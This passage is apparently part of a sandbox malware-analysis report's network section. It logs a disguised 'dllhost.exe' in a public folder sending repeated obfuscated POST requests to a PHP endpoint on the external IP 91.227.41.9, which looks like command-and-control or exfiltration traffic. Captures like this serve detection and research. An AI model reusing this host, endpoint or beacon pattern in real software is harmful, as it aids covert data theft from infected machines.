                                                                                                                                      Dec 9, 2024 00:27:11.906604052 CET344OUTData Raw: 00 07 04 05 03 0a 01 02 05 06 02 01 02 01 01 04 00 0a 05 0e 02 04 03 0b 07 06 0e 07 04 05 01 02 0e 05 03 0e 00 03 04 57 0f 00 02 03 00 06 02 01 07 02 0c 00 0c 05 07 52 05 06 04 54 07 05 00 09 05 00 0f 0d 05 53 04 56 0c 02 0b 04 0e 02 0c 04 04 0d
                                                                                                                                      Data Ascii: WRTSVWQQ\L}P|py^traLuKlklywc]cxJ{UxYz`uX|nRvt|N~O~V@{C\}r}
                                                                                                                                      Dec 9, 2024 00:27:12.816457033 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:12.842915058 CET1236INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:12 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 1360
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 56 4a 7e 4c 7b 53 55 00 7b 04 74 04 7f 61 67 06 69 59 51 0c 6b 5e 7d 41 7b 73 60 42 69 04 6f 5b 77 63 69 0a 6e 61 61 07 62 65 7c 02 6a 61 78 01 55 4b 71 08 77 62 7c 58 6b 62 57 4d 68 77 75 54 79 75 6f 50 7d 70 7c 59 77 61 6a 5e 77 07 7d 05 68 61 62 03 7e 42 6c 09 7f 77 7f 49 76 5c 7b 06 7c 5b 76 5c 7e 59 7d 07 7b 67 55 5c 7b 01 6c 42 78 54 74 59 6e 5c 78 01 6f 5d 54 04 6b 4e 55 59 7b 49 70 00 69 71 73 04 75 07 6c 47 7a 51 41 5b 7d 74 60 42 68 62 65 0a 76 42 5e 03 6c 6f 7c 04 60 5e 62 0a 79 72 72 5a 7c 7c 50 4f 6f 71 5b 5d 76 63 73 4a 76 4f 7f 5c 60 62 7a 50 7e 5d 7a 06 74 71 7d 00 61 65 52 09 7f 7f 75 01 60 6f 7c 04 68 63 6c 06 6f 6f 73 03 6f 5e 66 01 7c 6d 68 08 74 74 7c 03 69 62 76 09 7e 0b 7b 0c 6c 43 66 4c 7e 62 7e 5f 7b 5d 46 51 7d 6c 73 51 7d 59 67 54 7e 74 7d 58 78 54 7f 01 78 5b 78 02 6b 58 7c 5a 69 74 73 09 7c 63 61 4f 6d 5d 55 5d 6a 72 70 03 74 73 57 51 7b 5c 79 00 76 48 5a 4a 7d 58 5a 07 7e 48 7d 40 77 4c 73 02 7f 4c 57 00 7f 77 54 43 7b 66 68 4f 7d 73 7f 03 75 4c 6d 4e 76 71 61 49 7f 71 [TRUNCATED]
                                                                                                                                      Data Ascii: VJ~L{SU{tagiYQk^}A{s`Bio[wcinaabe|jaxUKqwb|XkbWMhwuTyuoP}p|Ywaj^w}hab~BlwIv\{|[v\~Y}{gU\{lBxTtYn\xo]TkNUY{IpiqsulGzQA[}t`BhbevB^lo|`^byrrZ||POoq[]vcsJvO\`bzP~]ztq}aeRu`o|hclooso^f|mhtt|ibv~{lCfL~b~_{]FQ}lsQ}YgT~t}XxTx[xkX|Zits|caOm]U]jrptsWQ{\yvHZJ}XZ~H}@wLsLWwTC{fhO}suLmNvqaIqTK}R`}gUDu_wx\}}`[J{I`CywRxSYIyLVx]TA^ZxYlI}L]Oua`|||YR}auvBxx|pt`f@{qa~RbL{_vvcvqVwqnNpjtLyLwuRO||utB|L|MhIy|{{`Pmp@tI^Nbv@}SQxCfL~r[N|^t}lhC~^Z@}w\Mx}sK{Ld|aQ}gopqy]|}\dt]WzaivHt}fp}XivrYDLeB|gjxX^|s{uraOwqiG|O~H}|d~YUJuOczbSH|`[{wRC{g^{SQyr`KxM\{]NZywlirQObXpjRQhgkSqaw|{ZxB]YtpeTyabXiUb_z\y\}b`g{ZL~Jx^zvquv[oS|RX^vohhMc[ylZ^ocuZhTl@`IxAi~zSYQQTgia~EhlcOQUUilcTzZ@]o~ybk[k_Z^}xPcuyM^jbpHwMunqf^b_d~_x^\KQcdEQqHh_LnsTPod\[i_v\q}_b|Rp@}JJu_UYyur^icDT{oZWdSo^Re||\ZVM{iTAz_A^bcFPNh]Mj~UbU@WQxp_UPLvjQyD|\DXb`E[rMc[Liy[cTCZZwNke\vQszfdp@UR^Wq@Vn]I[_OjaSHQwln
                                                                                                                                      Dec 9, 2024 00:27:12.842976093 CET353INData Raw: 5a 79 5c 5f 5e 66 59 67 0b 7b 7e 55 4f 53 59 42 51 7f 70 7d 5a 6f 6e 0b 44 54 7e 67 5f 50 62 07 55 6a 01 0f 09 53 5a 62 41 51 62 77 43 6a 71 60 58 76 5e 7a 6e 61 4c 79 40 71 5f 55 5e 51 01 73 44 54 65 5c 48 5b 5a 0b 59 50 05 66 40 56 7b 79 0c 62
                                                                                                                                      Data Ascii: Zy\_^fYg{~UOSYBQp}ZonDT~g_PbUjSZbAQbwCjq`Xv^znaLy@q_U^QsDTe\H[ZYPf@V{yb_Lid{qZnCXmj\kvqeTsjkZtvx^oaGQ|n]WdRo@R~^Dmad]hgpXqz_A^bcFPNh]MjzOZVkFWUgD]qQVbaY|QyyWyYttqZbcOXbyQx]D^cnC[vAk\@aA]UpURod^|^\Z|}xLwI
                                                                                                                                      Dec 9, 2024 00:27:13.075114012 CET237OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 384
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:13.445909977 CET384OUTData Raw: 5c 5e 43 50 5d 43 50 5f 54 57 5b 51 55 5b 59 5f 50 5e 5a 59 56 52 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^CP]CP_TW[QU[Y_P^ZYVRWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'&-1X(9878*5*3<+P<9<77T5/+_<!,<&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:27:13.480319977 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:13.854285002 CET324INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:13 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 09 31 1f 28 00 3d 0d 2e 0d 28 02 23 58 2d 2f 0e 1e 28 0e 25 13 25 2e 2c 0c 26 28 36 12 28 3e 05 5f 27 1c 2a 08 30 37 33 1d 2a 12 2f 58 07 1c 27 11 2b 28 3b 1e 25 23 03 04 3d 21 3f 5d 26 5b 3c 5c 30 10 2c 13 24 0d 3b 03 28 55 22 0e 27 3b 39 16 3f 15 34 5f 39 34 30 1e 22 34 23 53 08 11 25 57 30 57 24 12 27 2f 09 06 36 33 3e 1f 25 38 38 0c 29 3f 28 5f 2b 20 2d 12 2a 32 21 0e 33 1c 24 1f 24 01 34 59 24 1d 26 52 26 00 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :1(=.(#X-/(%%.,&(6(>_'*073*/X'+(;%#=!?]&[<\0,$;(U"';9?4_940"4#S%W0W$'/63>%88)?(_+ -*2!3$$4Y$&R&&T*#V1WP
                                                                                                                                      Dec 9, 2024 00:27:13.915473938 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1856
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:14.265125990 CET1856OUTData Raw: 59 5c 43 51 5d 40 55 5d 54 57 5b 51 55 50 59 5f 50 5a 5a 59 56 56 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y\CQ]@U]TW[QUPY_PZZYVVW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X3.<345'^<$4?3#:<5<()5W'<?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:14.320184946 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:14.815012932 CET324INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:14 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 12 25 1f 23 5b 3d 33 2a 08 2b 3f 2f 1b 3a 11 0a 10 3c 56 3e 03 31 00 3f 1f 26 06 2a 1d 2b 2e 28 06 27 0c 22 08 30 37 37 1e 3e 28 2f 58 07 1c 24 00 2b 05 27 10 31 23 32 5e 29 31 3f 5a 31 5b 20 5f 24 07 2f 00 33 23 3c 12 2b 23 25 1c 32 38 26 0a 3f 15 0d 07 2d 19 2b 0d 35 0e 23 53 08 11 26 0e 24 0f 34 5a 32 01 28 5a 36 55 3e 1c 33 15 2b 50 3e 5a 38 5f 2b 23 0f 5e 28 32 22 11 30 0c 3c 11 30 3c 3c 5f 24 33 0c 51 24 3a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9%#[=3*+?/:<V>1?&*+.('"077>(/X$+'1#2^)1?Z1[ _$/3#<+#%28&?-+5#S&$4Z2(Z6U>3+P>Z8_+#^(2"0<0<<_$3Q$:&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      1192.168.2.44973291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:13.266706944 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:13.624420881 CET2536OUTData Raw: 59 59 43 55 58 41 50 5f 54 57 5b 51 55 50 59 5d 50 59 5a 5f 56 50 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YYCUXAP_TW[QUPY]PYZ_VPWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X'!\<Y4S (5' (; T!8V<0_!" X*?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:14.532691002 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:14.773011923 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:14 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      2192.168.2.44973691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:15.073219061 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:15.421179056 CET2536OUTData Raw: 5c 5e 46 56 58 45 55 5b 54 57 5b 51 55 5d 59 5f 50 5c 5a 5f 56 54 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^FVXEU[TW[QU]Y_P\Z_VTWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$-_+:0 6(*5*$+W<$Z *46 V?9\"2;?/&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:27:16.342046022 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:16.577415943 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:16 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      3192.168.2.44973991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:16.986875057 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:17.343085051 CET2536OUTData Raw: 59 52 43 52 5d 41 55 5f 54 57 5b 51 55 5e 59 58 50 53 5a 5b 56 56 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRCR]AU_TW[QU^YXPSZ[VVW\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^'.?)# %#Y<=]'(?9 :T"V;+9 ^!1<X<?&\"'Z,0
                                                                                                                                      Dec 9, 2024 00:27:18.284813881 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:18.517462969 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:18 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      4192.168.2.44974191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:18.766187906 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2528
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:19.124336958 CET2528OUTData Raw: 59 5b 46 54 58 4a 55 5a 54 57 5b 51 55 58 59 5c 50 5d 5a 58 56 56 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[FTXJUZTW[QUXY\P]ZXVVWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0Y(*$Y#&'*6!_'7W?#!)7P"V#))8610_<&\"'Z,0
                                                                                                                                      Dec 9, 2024 00:27:20.043591022 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:20.277448893 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:19 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      5192.168.2.44974291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:19.950061083 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1856
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:20.296232939 CET1856OUTData Raw: 59 53 46 57 5d 40 55 59 54 57 5b 51 55 5b 59 58 50 5c 5a 5b 56 55 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSFW]@UYTW[QU[YXP\Z[VUW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3)=), 67X(3?( #+6 8)*'61[+?&\"'Z,$


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      6192.168.2.44974791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:25.449067116 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1856
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:25.796194077 CET1856OUTData Raw: 59 53 43 52 58 41 55 52 54 57 5b 51 55 5a 59 5d 50 52 5a 5c 56 53 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSCRXAURTW[QUZY]PRZ\VSW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_$]?# ++%0?(<:4\ \?5V,)90_!?*?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:26.733467102 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:26.969522953 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:26 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 1f 32 18 2b 5f 29 23 2e 0c 2b 02 2f 5d 3a 11 28 58 3c 1e 35 11 31 2e 37 1f 25 01 3d 09 3e 2e 05 1a 27 54 25 1b 24 37 23 55 2a 02 2f 58 07 1c 27 58 3e 28 2f 58 24 30 2e 5e 2a 31 3b 59 27 2e 3c 5c 24 07 38 5d 26 20 3c 5e 3e 20 35 57 25 16 0f 54 2b 05 3c 5c 2d 09 38 54 22 1e 23 53 08 11 26 0e 26 21 0e 59 25 3f 28 59 22 0d 2a 12 27 38 20 08 3d 3c 23 03 3f 23 03 13 3f 31 2d 0f 27 54 3c 55 30 01 2b 04 24 55 32 53 25 10 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 92+_)#.+/]:(X<51.7%=>.'T%$7#U*/X'X>(/X$0.^*1;Y'.<\$8]& <^> 5W%T+<\-8T"#S&&!Y%?(Y"*'8 =<#?#?1-'T<U0+$U2S%&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      7192.168.2.44974891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:25.572278976 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:25.921263933 CET2536OUTData Raw: 5c 5c 43 54 58 43 55 52 54 57 5b 51 55 5f 59 5d 50 5b 5a 5c 56 5d 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CTXCURTW[QU_Y]P[Z\V]WZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$-<4'[+*'/;(9 8638(:0""0+?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:26.911372900 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:27.145360947 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:26 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      8192.168.2.44975091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:27.395148993 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:27.750787020 CET2536OUTData Raw: 5c 5b 43 54 5d 46 50 58 54 57 5b 51 55 5c 59 55 50 5a 5a 50 56 50 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CT]FPXTW[QU\YUPZZPVPWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$9(9;7%8+&!]3<?0#863<U(:0\518_+?&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:27:28.665081024 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:28.901535034 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:28 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      9192.168.2.44975191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:29.161705017 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
